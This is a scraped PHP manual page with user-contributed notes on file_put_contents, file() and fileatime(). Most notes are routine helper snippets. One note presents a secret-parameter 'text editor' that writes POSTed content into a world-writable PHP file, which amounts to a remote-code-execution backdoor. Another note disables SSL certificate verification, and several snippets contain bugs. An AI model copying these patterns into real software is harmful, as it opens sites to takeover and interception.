Anonymous 26-Feb-2017 10:20
Make sure not to corrupt anything in case of failure.

<?php

function file_put_contents_atomically($filename, $data, $flags = 0, $context = null) {
    if (file_put_contents($filename."~", $data, $flags, $context) === strlen($contents)) {
        return rename($filename."~",$filename,$context);
    }

    @unlink($filename."~", $context);
    return FALSE;
}

?>
josemiguel at likeik dot com 20-Sep-2016 12:22
Under PHP7.0, I have seen that using an empty string as $data, the function returns FALSE instead of 0 as it should:

        $data = ''
        $size = file_put_contents($filename, $data, FILE_APPEND);
        if ($size == FALSE)
        {
               echo "error writing file"
        }

Code will give error when $data is an empty string even using == operator.

Hope it helps somebody...
aabaev arroba gmail coma com 20-May-2016 11:02
I suggest to expand file_force_contents() function of TrentTompkins at gmail dot com by adding verification if patch is like: "../foo/bar/file"

if (strpos($dir, "../") === 0)
    $dir = str_replace("..", substr(__DIR__, 0, strrpos(__DIR__, "/")), $dir);
vilhar at hotmail dot com 23-Mar-2016 11:48
This should also handle $filename from other than root and also $filename without path.

function file_force_contents($filename, $data, $per = 0755, $flags = 0) {
        $fn = "";
    if(substr($filename, 0, 1) === "/") $fn .= "/";
    $parts = explode("/", $filename);
        $file = array_pop($parts);

        foreach($parts as $part) {
            if(!is_dir($fn .= "$part")) mkdir($fn, $per, true);
        $fn .= "/";
    }

        file_put_contents($fn.$file, $data, $flags);
}
Nadeem 28-Nov-2014 10:01
Log custom or error messages to a file.

<?php

class Logger{

    protected $file;

    protected $content;

    protected $writeFlag;

    protected $endRow;

    public function __construct($file,$endRow="\n",$writeFlag=FILE_APPEND) {

        $this->file=$file;

        $this->writeFlag=$writeFlag;

        $this->endRow=$endRow;

    }

    public function AddRow($content="",$newLines=1){

        for ($m=0;$m<$newLines;$m++)
        {

            $newRow .= $this->endRow;

        }

        $this->content .= $content . $newRow;

    }

    public function Commit(){

            return file_put_contents($this->file,$this->content,$this->writeFlag);

    }

    public function LogError($error,$newLines=1)
    {
        if ($error!=""){

            $this->AddRow($error,$newLines);
            echo $error;

        }

    }

}

$logFileDirectoryAndName="/yourDirectory/yourFileName.xxx";

$logger = new Logger($logFileDirectoryAndName);

$logger->AddRow("Your Log Message");

#log a system error and echo a message
$logger->LogError(mysql_error($conn));

$logger->Commit();
?>
gurjindersingh at SPAM dot hotmail dot com 18-Oct-2014 06:03
File put contents fails if you try to put a file in a directory that doesn't exist. This function creates the directory.

i have updated code of "TrentTompkins at gmail dot com". thanks
<?php
/**
 * @param string $filename <p>file name including folder.
 * example :: /path/to/file/filename.ext or filename.ext</p>
 * @param string $data <p> The data to write.
 * </p>
 * @param int $flags same flags used for file_put_contents.
 * more info: http://php.net/manual/en/function.file-put-contents.php
 * @return bool <b>TRUE</b> file created succesfully <br> <b>FALSE</b> failed to create file.
 */
function file_force_contents($filename, $data, $flags = 0){
    if(!is_dir(dirname($filename)))
        mkdir(dirname($filename).'/', 0777, TRUE);
    return file_put_contents($filename, $data,$flags);
}
// usage

file_force_contents('test1.txt','test1 content');  // test1.txt created

file_force_contents('test2/test2.txt','test2 content');
// test2/test2.txt created "test2" folder.

file_force_contents('~/test3/test3.txt','test3 content');
// /path/to/user/directory/test3/test3.txt created "test3" folder in user directory (check on linux "ll ~/ | grep test3").
?>
klunker dot roox at gmail dot com 17-Oct-2014 10:47
if path to the file not exist function file_put_contents can't create it. This simple function make it on UNIX-based and Windows servers.
<?php
function file_put_contents_force(){
    $args = func_get_args();
    $path = str_replace(array('/','\\'), DIRECTORY_SEPARATOR, $args[0]);
    $parts = explode(DIRECTORY_SEPARATOR, $path);
    array_pop($parts);
    $directory =  '';
    foreach($parts as $part):
        $check_path = $directory.$part;
            if( is_dir($check_path.DIRECTORY_SEPARATOR) === FALSE) {
                mkdir($check_path, 0755);
            }
            $directory = $check_path.DIRECTORY_SEPARATOR;
    endforeach;
    call_user_func_array('file_put_contents',$args);
}
?>
chris at ocportal dot com 28-Jul-2013 11:13
It's important to understand that LOCK_EX will not prevent reading the file unless you also explicitly acquire a read lock (shared locked) with the PHP 'flock' function.

i.e. in concurrent scenarios file_get_contents may return empty if you don't wrap it like this:

<?php
$myfile=fopen('test.txt','rt');
flock($myfile,LOCK_SH);
$read=file_get_contents('test.txt');
fclose($myfile);
?>

If you have code that does a file_get_contents on a file, changes the string, then re-saves using file_put_contents, you better be sure to do this correctly or your file will randomly wipe itself out.
michel kollenhoven 19-Jul-2013 09:35
re: moura dot kadu at gmail dot com

why not ? file_put_contents('ftp://user:pass@server/path/to/file',$data);
vahkos at mail dot ru 22-Jan-2012 08:06
file_put_contents does not issue an error message if file name is incorrect(for example has improper symbols on the end of it /n,/t)
that is why use trim() for file name.
$name=trim($name);
file_put_contents($name,$content);
caiofior at gmail dot com 27-Oct-2011 01:56
I had some troubles using file_put_contents with an absolute but no canonicalized path (eg. w:/htdocs/pri/../test/log.txt): on windows environment php was unable to create the file also using the realpath function .
I had to use fopen and frwite functions to write the data.
moura dot kadu at gmail dot com 23-Sep-2011 12:18
I made ??a ftp_put_contents function.

hope you enjoy.

<?php

function ftp_put_contents($fpc_path_and_name, $fpc_content) {

    //Temporary folder in the server
    $cfg_temp_folder = str_replace("//", "/", $_SERVER['DOCUMENT_ROOT']."/_temp/");

    //Link to FTP
    $cfg_ftp_server = "ftp://ftp.com";

    //FTP username
    $cfg_user = "user";

    //FTP password
    $cfg_pass = "password";

    //Document Root of FTP
    $cfg_document_root = "DOCUMENT ROOT OF FTP";

    //Link to the website
    $cfg_site_link = "Link to the website";

    //Check if conteins slash on the path of the file
    $cotains_slash = strstr($fpc_path_and_name, "/");

    //Get filename and paths
    if ($cotains_slash) {
        $fpc_path_and_name_array = explode("/", $fpc_path_and_name);
        $fpc_file_name = end($fpc_path_and_name_array);
    }
    else {
        $fpc_file_name = $fpc_path_and_name;
    }

    //Create local temp dir
    if (!file_exists($cfg_temp_folder)) {
        if (!mkdir($cfg_temp_folder, 0777)) {
            echo "Unable to generate a temporary folder on the local server - $cfg_temp_folder.<br />";
            die();
        }
    }

    //Create local file in temp dir
    if (!file_put_contents(str_replace("//", "/", $cfg_temp_folder.$fpc_file_name), $fpc_content)) {
        echo "Unable to generate the file in the temporary location - ".str_replace("//", "/", $cfg_temp_folder.$fpc_file_name).".<br />";
        die();
    }

    //Connection to the FTP Server
    $fpc_ftp_conn = ftp_connect("$cfg_ftp_server");

    //Check connection
    if (!$fpc_ftp_conn) {
        echo "Could not connect to server <b>$cfg_ftp_server</b>.<br />";
        die();
    }
    else {

        // login
        // check username and password
        if (!ftp_login($fpc_ftp_conn, "$cfg_user", "$cfg_pass")) {
            echo "User or password.<br />";
            die();
        }
        else {

            //Document Root
            if (!ftp_chdir($fpc_ftp_conn, $cfg_document_root)) {
                echo "Error to set Document Root.<br />";
                die();
            }

            //Check if there are folders to create
            if ($cotains_slash) {

                //Check if have folders and is not just the file name
                if (count($fpc_path_and_name_array) > 1) {

                    //Remove last array
                    $fpc_remove_last_array = array_pop($fpc_path_and_name_array);

                    //Checks if there slashs on the path
                    if (substr($fpc_path_and_name,0,1) == "/") {
                        $fpc_remove_first_array = array_shift($fpc_path_and_name_array);
                    }

                    //Create each folder on ftp
                    foreach ($fpc_path_and_name_array as $fpc_ftp_path) {
                        if (!@ftp_chdir($fpc_ftp_conn, $fpc_ftp_path)) {
                            if (!ftp_mkdir($fpc_ftp_conn, $fpc_ftp_path)) {
                                echo "Error creating directory $fpc_ftp_path.<br />";
                            }
                            else {
                                if (!ftp_chdir($fpc_ftp_conn, $fpc_ftp_path)) {
                                    echo "Error go to the directory $fpc_ftp_path.<br />";
                                }
                            }
                        }
                    }
                }
                else {

                }
            }

            //Check upload file
            if (!ftp_put($fpc_ftp_conn, $fpc_file_name, str_replace("//", "/", $cfg_temp_folder.$fpc_file_name), FTP_ASCII)) {
                echo "File upload <b>$fpc_path_and_name</b> failed!<br />";
                die();
            }
            else {
                if (!unlink(str_replace("//", "/", $cfg_temp_folder.$fpc_file_name))) {
                    echo "Error deleting temporary file.<br />";
                    die();
                }
                else {
                    echo "File upload <a href='$cfg_site_link".str_replace("//", "/", "/$fpc_path_and_name")."'><b>$cfg_site_link".str_replace("//", "/", "/$fpc_path_and_name")."</a></b> successfully performed.<br />";
                }
            }

            //Close connection to FTP server
            ftp_close($fpc_ftp_conn);
        }
    }
}

#Sample

$content_file = "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">
<html xmlns=\"http://www.w3.org/1999/xhtml\">
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; CHARSET=gb2312\" />
<title>Title</title>
</head>
<body>
<p>Test</p>
</body>
</html>";

ftp_put_contents("test.php", $content_file);
?>
justin dot carlson at gmail dot com 16-Aug-2011 08:28
It should be obvious that this should only be used if you're making one write, if you are writing multiple times to the same file you should handle it yourself with fopen and fwrite, the fclose when you are done writing.

Benchmark below:

file_put_contents() for 1,000,000 writes - average of 3 benchmarks:

 real 0m3.932s
 user 0m2.487s
 sys 0m1.437s

fopen() fwrite() for 1,000,000 writes, fclose() -  average of 3 benchmarks:

 real 0m2.265s
 user 0m1.819s
 sys 0m0.445s
Brandon Lockaby 08-Jul-2011 10:56
Calling file_put_contents within a destructor will cause the file to be written in SERVER_ROOT...
ravianshmsr08 at gmail dot com 15-Dec-2010 01:39
To upload file from your localhost to any FTP server.
pease note 'ftp_chdir' has been used instead of putting direct remote file path....in ftp_put ...remoth file should be only file name

<?php
$host = '*****';
$usr = '*****';
$pwd = '**********';
$local_file = './orderXML/order200.xml';
$ftp_path = 'order200.xml';
$conn_id = ftp_connect($host, 21) or die ("Cannot connect to host");
ftp_pasv($resource, true);
ftp_login($conn_id, $usr, $pwd) or die("Cannot login");
// perform file upload
ftp_chdir($conn_id, '/public_html/abc/');
$upload = ftp_put($conn_id, $ftp_path, $local_file, FTP_ASCII);
if($upload) { $ftpsucc=1; } else { $ftpsucc=0; }
// check upload status:
print (!$upload) ? 'Cannot upload' : 'Upload complete';
print "\n";
// close the FTP stream
ftp_close($conn_id);
?>
error at example dot com 11-Dec-2010 12:47
It's worth noting that you must make sure to use the correct path when working with this function. I was using it to help with logging in an error handler and sometimes it would work - while other times it wouldn't. In the end it was because sometimes it was called from different paths resulting in a failure to write to the log file.

__DIR__ is your friend.
hilton at allcor dot com dot br 04-Nov-2010 04:20
NOTE : file_put_contents create files UTF-8

<?php
$myFile = 'test.txt';
$myContent = 'I love PHP';

file_put_contents($myFile, utf8_encode($myContent));
?>
clement dot delmas at gmail dot com 17-Sep-2010 06:22
NOTE : file_put_contents doesn't add a valid BOM while creating the file

<?php
$myFile = 'test.txt';
$myContent = 'I love PHP';

file_put_contents($myFile, "\xEF\xBB\xBF".$myContent);
?>
deqode at felosity dot nl 15-Feb-2010 12:14
Please note that when saving using an FTP host, an additional stream context must be passed through telling PHP to overwrite the file.

<?php
 /* set the FTP hostname */
 $user = "test";
 $pass = "myFTP";
 $host = "example.com";
 $file = "test.txt";
 $hostname = $user . ":" . $pass . "@" . $host . "/" . $file;

 /* the file content */
 $content = "this is just a test.";

 /* create a stream context telling PHP to overwrite the file */
 $options = array('ftp' => array('overwrite' => true));
 $stream = stream_context_create($options);

 /* and finally, put the contents */
 file_put_contents($hostname, $content, 0, $stream);
?>
John Galt 29-Jul-2009 12:14
I use file_put_contents() as a method of very simple hit counters. These are two different examples of extremely simple hit counters, put on one line of code, each.

Keep in mind that they're not all that efficient. You must have a file called counter.txt with the initial value of 0.

For a text hit counter:
<?php
 $counter = file_get_contents("counter.txt"); $counter++; file_put_contents("counter.txt", $counter); echo $counter;
?>

Or a graphic hit counter:
<?php
 $counter = file_get_contents("counter.txt"); $counter++; file_put_contents("counter.txt", $counter); for($i = 0; $i < strlen($counter); $i++) echo "<img src=\"counter/".substr($counter, $i, 1).".gif\" alt=\"".substr($counter, $i, 1)."\" />";
?>
wjsams at gmail dot com 25-Jun-2009 08:57
file_put_contents() strips the last line ending

If you really want an extra line ending at the end of a file when writing with file_put_contents(), you must append an extra PHP_EOL to the end of the line as follows.

<?php
$a_str = array("these","are","new","lines");
$contents = implode(PHP_EOL, $a_str);
$contents .= PHP_EOL . PHP_EOL;
file_put_contents("newfile.txt", $contents);
print("|$contents|");
?>

You can see that when you print $contents you get two extra line endings, but if you view the file newfile.txt, you only get one.
kola_lola at hotmail dot com 06-Nov-2008 03:31
I wrote this script implementing the file_put_contents() and file_get_contents() functions to be compatible with both php4.* and php 5.*. It is a PHP Command line interface script which searches and replaces a specific word recursively through all files in the supplied directory hierarchy.

Usage from a Linux command line: ./scriptname specifieddirectory searchString replaceString

#!/usr/bin/php
<?php
$argc = $_SERVER['argc'];
$argv = $_SERVER['argv'];

if($argc != 4)
{
echo "This command replaces a search string with a replacement string\n for the contents of all files in a directory hierachy\n";
echo "command usage: $argv[0]  directory searchString replaceString\n";
echo "\n";
exit;
}
?><?php

if (!function_exists('file_put_contents')) {
    function file_put_contents($filename, $data) {
        $f = @fopen($filename, 'w');
        if (!$f) {
            return false;
        } else {
            $bytes = fwrite($f, $data);
            fclose($f);
            return $bytes;
        }
    }
}

function get_file_contents($filename)

      /* Returns the contents of file name passed

      */
      {
      if (!function_exists('file_get_contents'))
      {
      $fhandle = fopen($filename, "r");
      $fcontents = fread($fhandle, filesize($filename));
      fclose($fhandle);
      }
      else
      {
      $fcontents = file_get_contents($filename);
      }
      return $fcontents;
      }
?><?php

function openFileSearchAndReplace($parentDirectory, $searchFor, $replaceWith)
{
//echo "debug here- line 1a\n";
//echo "$parentDirectory\n";
//echo "$searchFor\n";
//echo "$replaceWith\n";

if ($handle = opendir("$parentDirectory")) {
    while (false !== ($file = readdir($handle))) {
        if (($file != "." && $file != "..") && !is_dir($file)) {
          chdir("$parentDirectory"); //to make sure you are always in right directory
         // echo "$file\n";
         $holdcontents = file_get_contents($file);
         $holdcontents2 = str_replace($searchFor, $replaceWith, $holdcontents);
         file_put_contents($file, $holdcontents2);
         // echo "debug here- line 1\n";
         // echo "$file\n";

        }
        if(is_dir($file) && ($file != "." && $file != ".."))
        {
        $holdpwd = getcwd();
        //echo "holdpwd = $holdpwd \n";
        $newdir = "$holdpwd"."/$file";
        //echo "newdir = $newdir \n";  //for recursive call
        openFileSearchAndReplace($newdir, $searchFor, $replaceWith);
        //echo "debug here- line 2\n";
        //echo "$file\n";
        }
    }
    closedir($handle);
 }
}

$parentDirectory2 = $argv[1];
$searchFor2 = $argv[2];
$replaceWith2 = $argv[3];

//Please do not edit below to keep the rights to this script
//Free license, if contents below this line is not edited
echo "REPLACED\n'$searchFor2' with '$replaceWith2' recursively through directory listed below\nFor all files that current user has write permissions for\nDIRECTORY: '$parentDirectory2'\n";
echo "command written by Kolapo Akande :) all rights reserved :)\n";

 $holdpwd = getcwd();
 //echo "$holdpwd\n";
chdir($parentDirectory2);
openFileSearchAndReplace($parentDirectory2, $searchFor2, $replaceWith2);
exit;
?>
admin at nabito dot net 04-Aug-2008 01:11
This is example, how to save Error Array into simple log file

<?php

$error[] = 'some error';
$error[] = 'some error 2';

@file_put_contents('log.txt',date('c')."\n".implode("\n", $error),FILE_APPEND);

?>
TrentTompkins at gmail dot com 02-Jul-2008 05:25
File put contents fails if you try to put a file in a directory that doesn't exist. This creates the directory.

<?php
    function file_force_contents($dir, $contents){
        $parts = explode('/', $dir);
        $file = array_pop($parts);
        $dir = '';
        foreach($parts as $part)
            if(!is_dir($dir .= "/$part")) mkdir($dir);
        file_put_contents("$dir/$file", $contents);
    }
?>
the geek man at hot mail point com 03-Jan-2008 03:23
I use the following code to create a rudimentary text editor. It's not fancy, but then it doesn't have to be. You could easily add a parameter to specify a file to edit; I have not done so to avoid the potential security headaches.

There are still obvious security holes here, but for most applications it should be reasonably safe if implemented for brief periods in a counterintuitive spot. (Nobody says you have to make a PHP file for that purpose; you can tack it on anywhere, so long as it is at the beginning of a file.)

<?php
$random1 = 'randomly_generated_string';
$random2 = 'another_randomly_generated_string';
$target_file = 'file_to_edit.php';
$this_file = 'the_current_file.php';

if ($_REQUEST[$random1] === $random2) {
    if (isset($_POST['content']))
        file_put_contents($target_file, get_magic_quotes_qpc() ? stripslashes($_POST['content']) : $_POST['content']);

    die('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
    <head>
        <title>Editing...</title>
    </head>
    <body>
        <form method="post" action="' . $this_file . '" />
        <input type="hidden" name="' . $random1 . '" value="' . $random2 . '" />
        <textarea name="content" rows="50" cols="100">' . file_get_contents($target_file) . '</textarea><br />
        <input type="submit" value="Save Changes" />
        </form>
    </body>
</html>');
}
?>

Then simply browse to hxxp://www.example.com/{$this_file}?{$random1}={$random2}, with the appropriate values substituted for each bracketed variable. Please note that this code assumes the target file to be world writable (-rw-rw-rw- or 666) and will fail to save properly without error if it is not.

Once again, this is by no means secure or permanent, but as a quick fix for brief edits to noncritical files it should be sufficient, and its small size is a definite bonus.
egingell at sisna dot com 20-Dec-2007 07:15
There is a better way. www.php.net/touch

Since you're not adding anything to the file,

<?php
function updateFile($filename) {
    if (!file_exists($filename)) return;
    touch($filename);
}
?>
Curtis 21-Dec-2006 03:20
As to the previous user note, it would be wise to include that code within a conditional statement, as to prevent re-defining file_put_contents and the FILE_APPEND constant in PHP 5:

<?php
   if ( !function_exists('file_put_contents') && !defined('FILE_APPEND') ) {
   ...
   }
?>

Also, if the file could not be accessed for writing, the function should return boolean false, not 0. An error is different from 0 bytes written, in this case.
egingell at sisna dot com 23-Jul-2006 04:11
In reply to the previous note:

If you want to emulate this function in PHP4, you need to return the bytes written as well as support for arrays, flags.

I can only figure out the FILE_APPEND flag and array support. If I could figure out "resource context" and the other flags, I would include those too.

<?

define('FILE_APPEND', 1);
function file_put_contents($n, $d, $flag = false) {
    $mode = ($flag == FILE_APPEND || strtoupper($flag) == 'FILE_APPEND') ? 'a' : 'w';
    $f = @fopen($n, $mode);
    if ($f === false) {
        return 0;
    } else {
        if (is_array($d)) $d = implode($d);
        $bytes_written = fwrite($f, $d);
        fclose($f);
        return $bytes_written;
    }
}

?>
aidan at php dot net 20-May-2004 07:11
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


把整个文件读入一个数组中

  • ? file_put_contents
  • fileatime ?
  • PHP Manual
  • 文件系统函数
  • 把整个文件读入一个数组中

file

(PHP 4, PHP 5, PHP 7, PHP 8)

file — 把整个文件读入一个数组中

说明

file(string $filename, int $flags = 0, ?resource $context = null): array|false

把整个文件读入一个数组中。

Note:

你可以通过 file_get_contents() 以字符串形式获取文件的内容。

参数

filename

文件的路径。

Tip

如已启用fopen 包装器，在此函数中， URL 可作为文件名。关于如何指定文件名详见 fopen()。各种 wapper 的不同功能请参见 支持的协议和封装协议，注意其用法及其可提供的预定义变量。

flags

可选参数 flags 可以是以下一个或多个常量：

FILE_USE_INCLUDE_PATH
在 include_path 中查找文件。
FILE_IGNORE_NEW_LINES
省略数组中每个元素末尾的换行符
FILE_SKIP_EMPTY_LINES
跳过空行
FILE_NO_DEFAULT_CONTEXT
不使用默认的上下文

context

上下文流（context stream） resource。

返回值

返回数组形式的文件内容。数组的每个元素对应于文件中的一行（结尾会附加换行符）。 失败时，file() 返回 false。

Note:

除非使用了 FILE_IGNORE_NEW_LINES ，否则结果数组中的每一行都将包含行尾。

Note: 在读取在 Macintosh 电脑中或由其创建的文件时， 如果 PHP 不能正确的识别行结束符，启用运行时配置可选项 auto_detect_line_endings 也许可以解决此问题。

错误／异常

如果文件不存在，则发出 E_WARNING 级错误。

示例

Example #1 file() 例子

<?php
// 将一个文件读入数组。本例中通过 HTTP 从 URL 中取得 HTML 源文件。

$lines = file('http://www.example.com/');

// 在数组中循环，显示 HTML 的源文件并加上行号。

foreach ($lines as $line_num => $line) {
echo "Line #<b>{$line_num}</b> : " . htmlspecialchars($line) . "<br />\n";
}

// 使用可选的 flags 参数
$trimmed = file('somefile.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
?>

注释

Warning

使用 SSL 时，Microsoft IIS 会违反协议不发送 close_notify 标记就关闭连接。PHP 会在到达数据尾端时报告"SSL: Fatal Protocol Error"。 要解决此问题，error_reporting 应设定为降低级别至不包含警告。PHP 4.3.7 及更高版本可以在使用 https:// 包装器打开流时检测出有问题的 IIS 服务器软件 并抑制警告。在使用 fsockopen() 创建 ssl:// 套接字时，开发者需检测并抑制此警告。

参见

  • file_get_contents() - 将整个文件读入一个字符串
  • readfile() - 输出文件
  • fopen() - 打开文件或者 URL
  • fsockopen() - 打开 Internet 或者 Unix 套接字连接
  • popen() - 打开进程文件指针
  • include - include
  • stream_context_create() - 创建资源流上下文

User Contributed Notes

renanlazarotto at gmail dot com 28-Apr-2021 06:37
Be aware that using file() to count lines can cause OOM on the server as it'll allocate all lines into an array.

If you're dealing with files that can have thousands of lines, SplFileObject might be a better idea and with little changes you can get the same result.
sheldon at hyperlinked dot com 29-May-2019 10:25
As of PHP 5.6 the file(), file_get_contents(), and fopen() functions will return false if you are referencing a source URL that doesn't have a valid SSL certificate. Presumably, you will run into this a lot in your development environments this will drive you crazy.

You will need to create a stream context and provide it as an argument to the various file operations to tell it to ignore invalid SSL credentials.

$args = array("ssl"=>array("verify_peer"=>false,"verify_peer_name"=>false),"http"=>array('timeout' => 60, 'user_agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/3.0.0.1'));

$context = stream_context_create($args);
$httpfile = file($url, false, $context);
radler63 at hotmail dot com 04-Oct-2018 04:34
My experience is that the function file does uses the cached content if the file has changed....
lanresmith 01-Jun-2017 01:32
Using if ( file(name.txt) ) might not be enough for testing if the file was successfully opened for reading because the file could be empty in which case the array returned is empty, so test instead with !==. e.g.:

$file_array = file('test.txt'); // an empty file

echo '<pre>';
if ( $file_array ) {
    # code...
    echo "success\n";
} else {
    # code...
    echo "failure\n"; // executed
}

if ( $file_array !== false ) {
    # code...
    echo "success\n"; // executed
} else {
    # code...
    echo "failure\n";
}
echo '</pre>';

result:
failure
success
Martin K. 05-Aug-2014 04:38
If the file you are reading is in CSV format do not use file(), use fgetcsv().  file() will split the file by each newline that it finds, even newlines that appear within a field (i.e. within quotations).
marco dot remy at aol dot com 17-Jun-2014 07:54
Here's my CSV converter
supports Header and trims all fields
Note: Headers must be not empty!

<?php

function csv2array($file, $delim = ';', $encl = '"', $header = false) {

    # File does not exist
    if(!file_exists($file))
        return false;

    # Read lines of file to array
    $file_lines = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

    # Empty file
    if($file_lines === array())
        return NULL;

    # Read headers if you want to
    if($header === true) {
        $line_header = array_shift($file_lines);
        $array_header = array_map('trim', str_getcsv($line_header, $delim, $encl));
    }

    $out = NULL;

    # Now line per line (strings)
    foreach ($file_lines as $line) {
        # Skip empty lines
        if(trim($line) === '')
            continue;

        # Convert line to array
        $array_fields = array_map('trim', str_getcsv($line, $delim, $encl));

        # If header present, combine header and fields as key => value
        if($header === true)
            $out[] = array_combine ($array_header, $array_fields);
        else
            $out[] = $array_fields;
    }

    return $out;
}
?>
Anonymous 25-Dec-2013 04:31
("file()'s problem with UTF-16" is wrong. This is updated.
The former may miss the last line of the string.)

file() seems to have a problem in handling
UTF-16 with or without BOM.

file() is likely to think "\n"=LF (0A) as a line-ending.
So, not only "000A" but also "010A, 020A,...,FE0A, FF0A,..."
are regarded as line-endings.

Moreover, file() causes a serious problem in UTF-16LE.
file() loses first "0A" (the first half of "0A00")!
And the next line begins with "00" (the rest of "0A00").
So lines after the first "0A" are totally different.

To avoid this phenomena,
eg. in case (php_script : UTF-8 , file : UTF-16 with line-ending "\r\n"),

<?php

mb_regex_encoding('UTF-16');    // to help mb_ereg_..() work properly
$str = file_get_contents($file_path);
$to_encoding = 'UTF-16';        // encoding of string
$from_encoding = 'UTF-8';        // encoding of PHP_script
$pattern1 = mb_convert_encoding('[^\r]*\r\n', $to_encoding, $from_encoding);
mb_ereg_search_init($str, $pattern1);
while ($res = mb_ereg_search_regs()) {
    $file[] = $res[0];
}
$pattern2 = mb_convert_encoding('\A.*\r\n(.*)\z', $to_encoding, $from_encoding);
mb_ereg($pattern2, $str, $match);
    $file[] = $match[1];

?>

instead of
$file = file($file_path);

If line-ending is "\n",
$pattern1 = mb_convert_encoding('[^\n]*\n', $to_encoding, $from_encoding);
bingo at dingo dot com 14-Oct-2013 12:36
To write all the lines of the file in other words to read the file line by line you can write the code like this:
<?php
$names=file('name.txt');
// To check the number of lines
echo count($names).'<br>';
foreach($names as $name)
{
   echo $name.'<br>';
}
?>

this example is so basic to understand how it's working. I hope it will help many beginners.

Regards,
Bingo
twichi at web dot de 13-Sep-2011 12:33
read from CSV data (file) into an array with named keys

... with or without 1st row = header (keys)
(see 4th parameter of function call as  true / false)

<?php
// --------------------------------------------------------------

function csv_in_array($url,$delm=";",$encl="\"",$head=false) {

    $csvxrow = file($url);   // ---- csv rows to array ----

    $csvxrow[0] = chop($csvxrow[0]);
    $csvxrow[0] = str_replace($encl,'',$csvxrow[0]);
    $keydata = explode($delm,$csvxrow[0]);
    $keynumb = count($keydata);

    if ($head === true) {
    $anzdata = count($csvxrow);
    $z=0;
    for($x=1; $x<$anzdata; $x++) {
        $csvxrow[$x] = chop($csvxrow[$x]);
        $csvxrow[$x] = str_replace($encl,'',$csvxrow[$x]);
        $csv_data[$x] = explode($delm,$csvxrow[$x]);
        $i=0;
        foreach($keydata as $key) {
            $out[$z][$key] = $csv_data[$x][$i];
            $i++;
            }
        $z++;
        }
    }
    else {
        $i=0;
        foreach($csvxrow as $item) {
            $item = chop($item);
            $item = str_replace($encl,'',$item);
            $csv_data = explode($delm,$item);
            for ($y=0; $y<$keynumb; $y++) {
               $out[$i][$y] = $csv_data[$y];
            }
        $i++;
        }
    }

return $out;
}

// --------------------------------------------------------------

?>

fuction call with 4 parameters:

(1) = the file with CSV data (url / string)
(2) = colum delimiter (e.g: ; or | or , ...)
(3) = values enclosed by (e.g: ' or " or ^ or ...)
(4) = with or without 1st row = head (true/false)

<?php

// ----- call ------
$csvdata = csv_in_array( $yourcsvfile, ";", "\"", true );
// -----------------

// ----- view ------
echo "<pre>\r\n";
print_r($csvdata);
echo "</pre>\r\n";
// -----------------

?>

PS: also see: http://php.net/manual/de/function.fgetcsv.php to read CSV data into an array
... and other file-handling methods

^
d basin 14-Oct-2009 03:47
this may be obvious, but it took me a while to figure out what I was doing wrong. So I wanted to share. I have a file on my "c:\" drive. How do I file() it?

Don't forget the backslash is special and you have to "escape" the backslash i.e. "\\":

<?php

$lines = file("C:\\Documents and Settings\\myfile.txt");

foreach($lines as $line)
{
    echo($line);
}

?>

hope this helps...
jon+spamcheck at phpsitesolutions dot com 16-Apr-2008 01:03
A user suggested using rtrim always, due to the line ending conflict with files that have an EOL that differs from the server EOL.

Using rtrim with it's default character replacement is a bad solution though, as it removes all whitespace in addition to the '\r' and '\n' characters.

A good solution using rtrim follows:

<?php
$line = rtrim($line, "\r\n") . PHP_EOL;
?>

This removes only EOL characters, and replaces with the server's EOL character, thus making preg_* work fine when matching the EOL ($)
vbchris at gmail dot com 16-Feb-2008 01:15
If you're getting "failed to open stream: Permission denied" when trying to use either file() or fopen() to access files on another server. Check your host doesn't have any firewall restrictions in-place which prevent outbound connections. This is the case with my host Aplus.net
Reversed: moc dot liamg at senroc dot werdna 12-Jul-2007 02:25
This note applies to PHP 5.1.6 under Windows (although may apply to other versions).

It appears that the 'FILE_IGNORE_NEW_LINES' flag doesn't remove newlines properly when reading Windows-style text files, i.e. files whose lines end in '\r\n'.

Solution: Always use 'rtrim()' in preference to 'FILE_IGNORE_NEW_LINES'.
info at carstanje dot com 28-Nov-2006 12:33
Using file() for reading large text files > 10 Mb gives problems, therefore you should use this instead. It is much slower but it works fine. $lines will return an array with all the lines.

<?php
$handle = @fopen('yourfile...', "r");
if ($handle) {
   while (!feof($handle)) {
       $lines[] = fgets($handle, 4096);
   }
   fclose($handle);
}
?>
justin at visunet dot ie 20-Mar-2003 09:36
Note: Now that file() is binary safe it is 'much' slower than it used to be. If you are planning to read large files it may be worth your while using fgets() instead of file() For example:

<?php
$fd = fopen ("log_file.txt", "r");
while (!feof ($fd))
{
   $buffer = fgets($fd, 4096);
   $lines[] = $buffer;
}
fclose ($fd);
?>

The resulting array is $lines.

I did a test on a 200,000 line file. It took seconds with fgets()  compared to minutes with file().


取得文件的上次访问时间

  • ? file
  • filectime ?
  • PHP Manual
  • 文件系统函数
  • 取得文件的上次访问时间

fileatime

(PHP 4, PHP 5, PHP 7, PHP 8)

fileatime — 取得文件的上次访问时间

说明

fileatime(string $filename): int|false

取得文件的上次访问时间。

参数

filename

文件的路径。

返回值

返回文件上次被访问的时间， 或者在失败时返回 false。时间以 Unix 时间戳的方式返回。

错误／异常

失败时抛出 E_WARNING 警告。

示例

Example #1 fileatime() 例子

<?php

// 输出类似：somefile.txt was last accessed: December 29 2002 22:16:23.

$filename = 'somefile.txt';
if (file_exists($filename)) {
echo "$filename was last accessed: " . date("F d Y H:i:s.", fileatime($filename));
}

?>

注释

Note:

注意：一个文件的 atime 应该在不论何时读取了此文件中的数据块时被更改。当一个应用程序定期访问大量文件或目录时很影响性能。

有些 Unix 文件系统可以在加载时关闭 atime 的更新以提高这类程序的性能。USENET 新闻组假脱机是一个常见的例子。在这种文件系统下本函数没有用处。

Note:

注意：不同文件系统对时间的判断方法可能是不相同的。

